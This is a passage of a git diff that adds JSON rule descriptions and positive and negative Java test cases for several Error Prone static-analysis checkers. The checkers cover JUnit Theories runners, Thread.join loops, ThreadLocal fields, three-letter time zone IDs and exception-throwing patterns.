org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(MyRunner.class)\n public class Test {\n @TestParameter public boolean foo;\n }" + }, + { + "description": "onlyFlagsJunit4Runner", + "expected-problems": null, + "expected-linenumbers": [ + 64 + ], + "code": "import org.junit.runners.BlockJUnit4ClassRunner;\n import org.junit.runners.model.InitializationError;\n\n public final class MyRunner extends BlockJUnit4ClassRunner {\n public MyRunner(Class testClass) throws InitializationError {\n super(testClass);\n }\n }\n \n\n import com.google.testing.junit.testparameterinjector.TestParameter;\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(MyRunner.class)\n public class Test {\n @TestParameter public boolean foo;\n }" + }, + { + "description": "alreadyParameterized_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 96 + ], + "code": "import com.google.testing.junit.testparameterinjector.TestParameter;\n import com.google.testing.junit.testparameterinjector.TestParameterInjector;\n import org.junit.runner.RunWith;\n\n @RunWith(TestParameterInjector.class)\n public class Test {\n @TestParameter public boolean foo;\n }" + }, + { + "description": "alreadyParameterized_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 96 + ], + "code": "import com.google.testing.junit.testparameterinjector.TestParameter;\n import com.google.testing.junit.testparameterinjector.TestParameterInjector;\n import org.junit.runner.RunWith;\n\n @RunWith(TestParameterInjector.class)\n public class Test {\n @TestParameter public boolean foo;\n }" + }, + { + "description": "noParameters_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 114 + ], + "code": "import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public class Test {}" + }, + { + "description": "noParameters_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 114 + ], + "code": "import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public class Test {}" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TheoryButNoTheories.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TheoryButNoTheories.json new file mode 100644 index 0000000..a0678cd --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TheoryButNoTheories.json @@ -0,0 +1,38 @@ +{ + "name": "TheoryButNoTheories", + "language": "java", + "description": "This test has members annotated with @Theory, @DataPoint, or @DataPoints but is using the default JUnit4 runner.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 83, + "branches": 4, + "apis": 2, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "import org.junit.experimental.theories.Theory;\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public class Test {\n @Theory\n public void test() {}\n }\n \n\n import org.junit.experimental.theories.Theories;\n import org.junit.experimental.theories.Theory;\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(Theories.class)\n public class Test {\n @Theory\n public void test() {}\n }" + }, + { + "description": "alreadyParameterized_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 66 + ], + "code": "import org.junit.experimental.theories.Theories;\n import org.junit.experimental.theories.Theory;\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(Theories.class)\n public class Test {\n @Theory\n public void test() {}\n }" + }, + { + "description": "noParameters_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 86 + ], + "code": "import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public class Test {}" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ThreadJoinLoop.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ThreadJoinLoop.json new file mode 100644 index 0000000..e02b859 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ThreadJoinLoop.json @@ -0,0 +1,38 @@ +{ + "name": "ThreadJoinLoop", + "language": "java", + "description": "Thread.join needs to be immediately surrounded by a loop until it succeeds. Consider using Uninterruptibles.joinUninterruptibly.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 133, + "branches": 21, + "apis": 2, + "test": [ + { + "description": "positiveCases", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * @author mariasam@google.com (Maria Sam) on 7/10/17.\n */\n class ThreadJoinLoopPositiveCases {\n\n public void basicCase(Thread thread) {\n try {\n // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread)\n thread.join();\n } catch (InterruptedException e) {\n // ignore\n }\n }\n\n public void emptyInterruptedFullException(Thread thread) {\n try {\n // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread)\n thread.join();\n } catch (InterruptedException e) {\n // ignore\n }\n }\n\n public void emptyException(Thread thread) {\n try {\n // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread)\n thread.join();\n } catch (Exception e) {\n // ignore\n }\n }\n\n public void emptyCatchStatements(Thread thread) {\n try {\n // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread)\n thread.join();\n } catch (Exception e) {\n ;\n ;\n }\n }\n\n public void whileLoop(Thread thread) {\n while (true) {\n try {\n // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread)\n thread.join();\n } catch (InterruptedException e) {\n // ignore\n }\n }\n }\n\n public void whileLoopCheck(Thread thread) {\n while (thread != null) {\n try {\n // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread)\n thread.join();\n } catch (InterruptedException e) {\n // ignore\n }\n }\n }\n\n public void whileLoopVariable(Thread thread, boolean threadAlive) {\n while (threadAlive) {\n try {\n // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread)\n thread.join();\n threadAlive = false;\n } catch (InterruptedException e) {\n // ignore\n }\n }\n }\n\n public void basicLoopOtherStatements(Thread thread) {\n while (7 == 7) {\n System.out.println(\"test\");\n try {\n // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread)\n thread.join();\n } catch (InterruptedException e) {\n // ignore\n }\n }\n }\n\n public void breakStatement(Thread thread) {\n while (7 == 7) {\n try {\n // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread)\n thread.join();\n break;\n } catch (InterruptedException e) {\n // ignore\n }\n }\n }\n\n private void whileLoopBreak(Thread thread) {\n while (true) {\n try {\n // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread)\n thread.join();\n break;\n } catch (InterruptedException e) {\n /* try again */\n }\n }\n }\n\n private void whileLoopThreadAlive(Thread thread) {\n while (thread.isAlive()) {\n try {\n // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread)\n thread.join();\n } catch (InterruptedException e) {\n // Ignore\n }\n }\n }\n\n public void multipleStatements(Thread thread, boolean isAlive) {\n try {\n // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread)\n thread.join();\n isAlive = false;\n } catch (InterruptedException e) {\n // ignore\n }\n }\n\n private void arrayJoin(Thread[] threads) {\n for (int i = 0; i < threads.length; i++) {\n try {\n // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(threads[i])\n threads[i].join();\n } catch (InterruptedException e) {\n // ignore\n }\n }\n }\n\n class MyThread extends Thread {\n\n public void run() {\n try {\n // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(this)\n join();\n } catch (InterruptedException e) {\n // ignore\n }\n }\n\n public void whileInThread() {\n while (isAlive()) {\n try {\n // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(this)\n join();\n } catch (InterruptedException e) {\n // Ignore.\n }\n }\n }\n }\n }\\" + }, + { + "description": "negativeCases", + "expected-problems": null, + "expected-linenumbers": [ + 213 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import java.util.List;\n\n /**\n * @author mariasam@google.com (Maria Sam) on 7/10/17.\n */\n public class ThreadJoinLoopNegativeCases {\n\n public void basicCase(Thread thread) throws InterruptedException {\n thread.join();\n }\n\n public void inIf(Thread thread) {\n try {\n if (7 == 7) {\n thread.join();\n }\n } catch (InterruptedException e) {\n e.printStackTrace();\n }\n }\n\n public void basicCaseTry(Thread thread) {\n try {\n thread.join();\n } catch (InterruptedException e) {\n e.printStackTrace();\n }\n }\n\n public void basicCaseWhile(Thread thread, List list) {\n while (list.size() == 7) {\n try {\n thread.join();\n } catch (InterruptedException e) {\n e.printStackTrace();\n }\n }\n }\n\n public void basicCaseFor(Thread thread, List list) {\n for (int i = 0; i < list.size(); i++) {\n try {\n thread.join();\n } catch (InterruptedException e) {\n e.printStackTrace();\n }\n }\n }\n\n public void basicCaseForEach(Thread thread, List list) {\n for (String str : list) {\n try {\n thread.join();\n } catch (InterruptedException e) {\n e.printStackTrace();\n }\n }\n }\n\n public void multipleCatches(Thread thread, int[] arr) {\n try {\n thread.join();\n int test = arr[10];\n } catch (ArrayIndexOutOfBoundsException e) {\n // ignore\n } catch (InterruptedException e) {\n System.out.println(\"test\");\n }\n }\n\n public void fullInterruptedFullException(Thread thread) {\n try {\n thread.join();\n } catch (InterruptedException e) {\n e.printStackTrace();\n } catch (Exception e) {\n e.printStackTrace();\n }\n }\n\n public void justException(Thread thread) {\n try {\n thread.join();\n } catch (Exception e) {\n e.printStackTrace();\n }\n }\n\n public void multipleMethodInvocations(Thread thread, Thread thread2) {\n try {\n thread.join();\n thread2.join();\n } catch (Exception e) {\n e.printStackTrace();\n }\n }\n\n public void tryFinally(Thread thread) {\n try {\n thread.join();\n } catch (InterruptedException e) {\n // ignore\n } finally {\n System.out.println(\"test finally\");\n }\n }\n\n public void tryAssigningThread(Thread thread) {\n while (true) {\n try {\n thread.join();\n thread = null;\n } catch (InterruptedException e) {\n // ignore\n }\n }\n }\n }\\" + }, + { + "description": "fixes", + "expected-problems": null, + "expected-linenumbers": [ + 343 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * @author mariasam@google.com (Maria Sam) on 7/10/17.\n */\n class ThreadJoinLoopPositiveCases {\n\n public void basicCase(Thread thread) {\n try {\n // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread)\n thread.join();\n } catch (InterruptedException e) {\n // ignore\n }\n }\n\n public void emptyInterruptedFullException(Thread thread) {\n try {\n // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread)\n thread.join();\n } catch (InterruptedException e) {\n // ignore\n }\n }\n\n public void emptyException(Thread thread) {\n try {\n // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread)\n thread.join();\n } catch (Exception e) {\n // ignore\n }\n }\n\n public void emptyCatchStatements(Thread thread) {\n try {\n // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread)\n thread.join();\n } catch (Exception e) {\n ;\n ;\n }\n }\n\n public void whileLoop(Thread thread) {\n while (true) {\n try {\n // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread)\n thread.join();\n } catch (InterruptedException e) {\n // ignore\n }\n }\n }\n\n public void whileLoopCheck(Thread thread) {\n while (thread != null) {\n try {\n // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread)\n thread.join();\n } catch (InterruptedException e) {\n // ignore\n }\n }\n }\n\n public void whileLoopVariable(Thread thread, boolean threadAlive) {\n while (threadAlive) {\n try {\n // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread)\n thread.join();\n threadAlive = false;\n } catch (InterruptedException e) {\n // ignore\n }\n }\n }\n\n public void basicLoopOtherStatements(Thread thread) {\n while (7 == 7) {\n System.out.println(\"test\");\n try {\n // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread)\n thread.join();\n } catch (InterruptedException e) {\n // ignore\n }\n }\n }\n\n public void breakStatement(Thread thread) {\n while (7 == 7) {\n try {\n // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread)\n thread.join();\n break;\n } catch (InterruptedException e) {\n // ignore\n }\n }\n }\n\n private void whileLoopBreak(Thread thread) {\n while (true) {\n try {\n // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread)\n thread.join();\n break;\n } catch (InterruptedException e) {\n /* try again */\n }\n }\n }\n\n private void whileLoopThreadAlive(Thread thread) {\n while (thread.isAlive()) {\n try {\n // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread)\n thread.join();\n } catch (InterruptedException e) {\n // Ignore\n }\n }\n }\n\n public void multipleStatements(Thread thread, boolean isAlive) {\n try {\n // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread)\n thread.join();\n isAlive = false;\n } catch (InterruptedException e) {\n // ignore\n }\n }\n\n private void arrayJoin(Thread[] threads) {\n for (int i = 0; i < threads.length; i++) {\n try {\n // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(threads[i])\n threads[i].join();\n } catch (InterruptedException e) {\n // ignore\n }\n }\n }\n\n class MyThread extends Thread {\n\n public void run() {\n try {\n // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(this)\n join();\n } catch (InterruptedException e) {\n // ignore\n }\n }\n\n public void whileInThread() {\n while (isAlive()) {\n try {\n // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(this)\n join();\n } catch (InterruptedException e) {\n // Ignore.\n }\n }\n }\n }\n }\\\n \n\n package com.google.errorprone.bugpatterns.testdata;\n\n import com.google.common.util.concurrent.Uninterruptibles;\n\n /**\n * @author mariasam@google.com (Maria Sam) on 7/10/17.\n */\n class ThreadJoinLoopPositiveCases {\n\n public void basicCase(Thread thread) {\n Uninterruptibles.joinUninterruptibly(thread);\n }\n\n public void emptyInterruptedFullException(Thread thread) {\n Uninterruptibles.joinUninterruptibly(thread);\n }\n\n public void emptyException(Thread thread) {\n Uninterruptibles.joinUninterruptibly(thread);\n }\n\n public void emptyCatchStatements(Thread thread) {\n Uninterruptibles.joinUninterruptibly(thread);\n }\n\n public void whileLoop(Thread thread) {\n Uninterruptibles.joinUninterruptibly(thread);\n }\n\n public void whileLoopCheck(Thread thread) {\n Uninterruptibles.joinUninterruptibly(thread);\n }\n\n public void whileLoopVariable(Thread thread, boolean threadAlive) {\n Uninterruptibles.joinUninterruptibly(thread);\n }\n\n public void basicLoopOtherStatements(Thread thread) {\n while (7 == 7) {\n System.out.println(\"test\");\n Uninterruptibles.joinUninterruptibly(thread);\n }\n }\n\n public void breakStatement(Thread thread) {\n Uninterruptibles.joinUninterruptibly(thread);\n }\n\n private void whileLoopBreak(Thread thread) {\n Uninterruptibles.joinUninterruptibly(thread);\n }\n\n private void whileLoopThreadAlive(Thread thread) {\n Uninterruptibles.joinUninterruptibly(thread);\n }\n\n public void multipleStatements(Thread thread, boolean isAlive) {\n Uninterruptibles.joinUninterruptibly(thread);\n }\n\n private void arrayJoin(Thread[] threads) {\n for (int i = 0; i < threads.length; i++) {\n Uninterruptibles.joinUninterruptibly(threads[i]);\n }\n }\n\n class MyThread extends Thread {\n\n public void run() {\n Uninterruptibles.joinUninterruptibly(this);\n }\n\n public void whileInThread() {\n Uninterruptibles.joinUninterruptibly(this);\n }\n }\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ThreadLocalUsage.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ThreadLocalUsage.json new file mode 100644 index 0000000..cb5226a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ThreadLocalUsage.json @@ -0,0 +1,46 @@ +{ + "name": "ThreadLocalUsage", + "language": "java", + "description": "ThreadLocals should be stored in static fields", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 119, + "branches": 15, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "class ThreadLocalUsage {\n // BUG: Diagnostic contains:\n ThreadLocal local = new ThreadLocal<>();\n\n {\n new ThreadLocal<>();\n new ThreadLocal() {};\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 50 + ], + "code": "class Test {\n static final ThreadLocal local = new ThreadLocal<>();\n }" + }, + { + "description": "negativeWellKnownTypes", + "expected-problems": null, + "expected-linenumbers": [ + 63 + ], + "code": "import java.text.DateFormat;\n import java.text.SimpleDateFormat;\n\n class Test {\n final ThreadLocal a = new ThreadLocal<>();\n final ThreadLocal b = new ThreadLocal<>();\n final ThreadLocal c = new ThreadLocal<>();\n final ThreadLocal d = new ThreadLocal<>();\n }" + }, + { + "description": "negativeSingleton", + "expected-problems": null, + "expected-linenumbers": [ + 82 + ], + "code": "@Singleton\n class Test {\n final ThreadLocal a = new ThreadLocal<>();\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ThreeLetterTimeZoneID.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ThreeLetterTimeZoneID.json new file mode 100644 index 0000000..15c386d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ThreeLetterTimeZoneID.json @@ -0,0 +1,86 @@ +{ + "name": "ThreeLetterTimeZoneID", + "language": "java", + "description": "Three-letter time zone identifiers are deprecated, may be ambiguous, and might not do what you intend; the full IANA time zone ID should be used instead.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 163, + "branches": 19, + "apis": 7, + "test": [ + { + "description": "allThreeLetterIdsAreCoveredByZoneIdShortIds", + "expected-problems": null, + "expected-linenumbers": [ + 43 + ], + "code": "" + }, + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 68 + ], + "code": "package a;\n\n import java.util.TimeZone;\n\n class A {\n public static void test_PST() {\n // BUG: Diagnostic contains: TimeZone.getTimeZone(\"America/Los_Angeles\")\n TimeZone.getTimeZone(\"PST\");\n }\n\n public static void test_EST() {\n // BUG: Diagnostic contains: TimeZone.getTimeZone(\"Etc/GMT+5\")\n TimeZone.getTimeZone(\"EST\");\n }\n\n public static void test_noPreferredReplacements() {\n // BUG: Diagnostic contains: TimeZone.getTimeZone(\"Asia/Dhaka\")\n TimeZone.getTimeZone(\"BST\");\n }\n }" + }, + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 68 + ], + "code": "package a;\n\n import java.util.TimeZone;\n\n class A {\n public static void test_PST() {\n // BUG: Diagnostic contains: TimeZone.getTimeZone(\"America/Los_Angeles\")\n TimeZone.getTimeZone(\"PST\");\n }\n\n public static void test_EST() {\n // BUG: Diagnostic contains: TimeZone.getTimeZone(\"Etc/GMT+5\")\n TimeZone.getTimeZone(\"EST\");\n }\n\n public static void test_noPreferredReplacements() {\n // BUG: Diagnostic contains: TimeZone.getTimeZone(\"Asia/Dhaka\")\n TimeZone.getTimeZone(\"BST\");\n }\n }" + }, + { + "description": "positiveCaseJodaTime", + "expected-problems": null, + "expected-linenumbers": [ + 98 + ], + "code": "package a;\n\n import java.util.TimeZone;\n import org.joda.time.DateTimeZone;\n\n class A {\n public static void test_EST() {\n // BUG: Diagnostic contains: TimeZone.getTimeZone(\"America/New_York\")\n DateTimeZone.forTimeZone(TimeZone.getTimeZone(\"EST\"));\n }\n\n public static void test_HST() {\n // BUG: Diagnostic contains: TimeZone.getTimeZone(\"Pacific/Honolulu\")\n DateTimeZone.forTimeZone(TimeZone.getTimeZone(\"HST\"));\n }\n\n public static void test_MST() {\n // BUG: Diagnostic contains: TimeZone.getTimeZone(\"America/Denver\")\n DateTimeZone.forTimeZone(TimeZone.getTimeZone(\"MST\"));\n }\n\n public static void test_PST() {\n // Not a special case, but should still work.\n // BUG: Diagnostic contains: TimeZone.getTimeZone(\"America/Los_Angeles\")\n DateTimeZone.forTimeZone(TimeZone.getTimeZone(\"PST\"));\n }\n }" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 135 + ], + "code": "package a;\n\n import java.util.TimeZone;\n\n class A {\n public static void notThreeLetter() {\n TimeZone.getTimeZone(\"\");\n TimeZone.getTimeZone(\"America/Los_Angeles\");\n }\n\n public static void threeLetterButAllowed() {\n TimeZone.getTimeZone(\"GMT\");\n TimeZone.getTimeZone(\"UTC\");\n TimeZone.getTimeZone(\"CET\");\n TimeZone.getTimeZone(\"PRC\");\n }\n }" + }, + { + "description": "replacements_pST", + "expected-problems": null, + "expected-linenumbers": [ + 162 + ], + "code": "" + }, + { + "description": "replacements_eST", + "expected-problems": null, + "expected-linenumbers": [ + 169 + ], + "code": "" + }, + { + "description": "replacements_iST", + "expected-problems": null, + "expected-linenumbers": [ + 177 + ], + "code": "" + }, + { + "description": "replacements_cST", + "expected-problems": null, + "expected-linenumbers": [ + 183 + ], + "code": "" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ThrowIfUncheckedKnownChecked.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ThrowIfUncheckedKnownChecked.json new file mode 100644 index 0000000..a6c144a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ThrowIfUncheckedKnownChecked.json @@ -0,0 +1,30 @@ +{ + "name": "ThrowIfUncheckedKnownChecked", + "language": "java", + "description": "throwIfUnchecked(knownCheckedException) is a no-op.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 77, + "branches": 5, + "apis": 2, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import static com.google.common.base.Throwables.propagateIfPossible;\n import static com.google.common.base.Throwables.throwIfUnchecked;\n\n import java.io.IOException;\n import java.util.concurrent.ExecutionException;\n\n /**\n * @author cpovirk@google.com (Chris Povirk)\n */\n public class ThrowIfUncheckedKnownCheckedTestPositiveCases {\n void simple(IOException e) {\n // BUG: Diagnostic contains: no-op\n throwIfUnchecked(e);\n\n // BUG: Diagnostic contains: no-op\n propagateIfPossible(e);\n }\n\n void union() {\n try {\n foo();\n } catch (IOException | ExecutionException e) {\n // BUG: Diagnostic contains: no-op\n throwIfUnchecked(e);\n\n // BUG: Diagnostic contains: no-op\n propagateIfPossible(e);\n }\n }\n\n void checkedGeneric(E e) {\n // BUG: Diagnostic contains: no-op\n throwIfUnchecked(e);\n }\n\n void foo() throws IOException, ExecutionException {}\n }\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 79 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport static com.google.common.base.Throwables.propagateIfPossible;\nimport static com.google.common.base.Throwables.throwIfUnchecked;\n\nimport java.io.IOException;\nimport java.util.concurrent.CancellationException;\nimport java.util.concurrent.ExecutionException;\n\n/**\n * @author cpovirk@google.com (Chris Povirk)\n */\npublic class ThrowIfUncheckedKnownCheckedTestNegativeCases {\n void exception(Exception e) {\n throwIfUnchecked(e);\n }\n\n void throwable(Throwable e) {\n throwIfUnchecked(e);\n }\n\n void runtime(RuntimeException e) {\n // Better written as \"throw e,\" but comes up too rarely to justify a compile error.\n throwIfUnchecked(e);\n }\n\n void error(Error e) {\n // Better written as \"throw e,\" but comes up too rarely to justify a compile error.\n throwIfUnchecked(e);\n }\n\n void multiarg(IOException e) throws IOException {\n propagateIfPossible(e, IOException.class);\n }\n\n void union() {\n try {\n foo();\n } catch (IOException | ExecutionException | CancellationException e) {\n throwIfUnchecked(e);\n }\n }\n\n void genericUnchecked(E e) {\n throwIfUnchecked(e);\n }\n\n void genericMaybeUnchecked(E e) {\n throwIfUnchecked(e);\n }\n\n void genericUpperBoundDifferentFromErasure(E e) {\n throwIfUnchecked(e);\n }\n\n void foo() throws IOException, ExecutionException {}\n\n /*\n * I don't care whether these are flagged or not, since it won't come up in practice. I just want\n * to make sure that we don't blow up when running against the tests of Throwables.\n */\n void nullException() {\n throwIfUnchecked(null); // throws NPE\n propagateIfPossible(null); // no-op\n }\n}\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ThrowIfUncheckedKnownUnchecked.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ThrowIfUncheckedKnownUnchecked.json new file mode 100644 index 0000000..a43977c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ThrowIfUncheckedKnownUnchecked.json @@ -0,0 +1,62 @@ +{ + "name": "ThrowIfUncheckedKnownUnchecked", + "language": "java", + "description": "`throwIfUnchecked(knownUnchecked)` is equivalent to `throw knownUnchecked`.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 93, + "branches": 7, + "apis": 2, + "test": [ + { + "description": "knownRuntimeException", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "import static com.google.common.base.Throwables.throwIfUnchecked;\n\n class Foo {\n void x(IllegalArgumentException e) {\n // BUG: Diagnostic contains:\n throwIfUnchecked(e);\n }\n }" + }, + { + "description": "knownError", + "expected-problems": null, + "expected-linenumbers": [ + 48 + ], + "code": "import static com.google.common.base.Throwables.throwIfUnchecked;\n\n class Foo {\n void x(LinkageError e) {\n // BUG: Diagnostic contains:\n throwIfUnchecked(e);\n }\n }" + }, + { + "description": "knownUncheckedMulticatch", + "expected-problems": null, + "expected-linenumbers": [ + 66 + ], + "code": "import static com.google.common.base.Throwables.throwIfUnchecked;\n\n class Foo {\n void x() {\n try {\n } catch (RuntimeException | Error e) {\n // BUG: Diagnostic contains:\n throwIfUnchecked(e);\n }\n }\n }" + }, + { + "description": "knownCheckedException", + "expected-problems": null, + "expected-linenumbers": [ + 87 + ], + "code": "import static com.google.common.base.Throwables.throwIfUnchecked;\n\n import java.io.IOException;\n\n class Foo {\n void x(IOException e) {\n throwIfUnchecked(e);\n }\n }" + }, + { + "description": "unknownType", + "expected-problems": null, + "expected-linenumbers": [ + 106 + ], + "code": "import static com.google.common.base.Throwables.throwIfUnchecked;\n\n class Foo {\n void x(Exception e) {\n throwIfUnchecked(e);\n }\n }" + }, + { + "description": "refactoring", + "expected-problems": null, + "expected-linenumbers": [ + 123 + ], + "code": "import static com.google.common.base.Throwables.throwIfUnchecked;\n\n class Foo {\n void x(IllegalArgumentException e) {\n log(e);\n throwIfUnchecked(e);\n throw new RuntimeException(e);\n }\n\n void log(Throwable t) {}\n }\n \n\n import static com.google.common.base.Throwables.throwIfUnchecked;\n\n class Foo {\n void x(IllegalArgumentException e) {\n log(e);\n throw e;\n }\n\n void log(Throwable t) {}\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ThrowNull.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ThrowNull.json new file mode 100644 index 0000000..b7353af --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ThrowNull.json @@ -0,0 +1,30 @@ +{ + "name": "ThrowNull", + "language": "java", + "description": "Throwing 'null' always results in a NullPointerException being thrown.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 38, + "branches": 2, + "apis": 2, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "class Test {\n void f() {\n // BUG: Diagnostic contains: throw new NullPointerException();\n throw null;\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 47 + ], + "code": "class Test {\n void f() {\n throw new NullPointerException();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ThrowSpecificExceptions.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ThrowSpecificExceptions.json new file mode 100644 index 0000000..bc71c81 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ThrowSpecificExceptions.json @@ -0,0 +1,54 @@ +{ + "name": "ThrowSpecificExceptions", + "language": "java", + "description": "Base exception classes should be treated as abstract. If the exception is intended to be caught, throw a domain-specific exception. Otherwise, prefer a more specific exception for clarity. Common alternatives include: AssertionError, IllegalArgumentException, IllegalStateException, and (Guava's) VerifyException.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 78, + "branches": 7, + "apis": 2, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "public class Test {\n void test() {\n // BUG: Diagnostic contains: new VerifyException\n throw new RuntimeException();\n }\n }" + }, + { + "description": "refactoring", + "expected-problems": null, + "expected-linenumbers": [ + 49 + ], + "code": "public class Test {\n void test() {\n throw new RuntimeException();\n }\n }\n \n\n import com.google.common.base.VerifyException;\n\n public class Test {\n void test() {\n throw new VerifyException();\n }\n }" + }, + { + "description": "anonymousClass", + "expected-problems": null, + "expected-linenumbers": [ + 75 + ], + "code": "public class Test {\n void test() {\n throw new RuntimeException() {};\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 90 + ], + "code": "public class Test {\n void test() {\n throw new IllegalStateException();\n }\n }" + }, + { + "description": "dontMatchIfNotThrown", + "expected-problems": null, + "expected-linenumbers": [ + 105 + ], + "code": "public class Test {\n StackTraceElement[] getStackTrace() {\n return new Throwable().getStackTrace();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ThrowsUncheckedException.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ThrowsUncheckedException.json new file mode 100644 index 0000000..8fe92ef --- /dev/null +++ 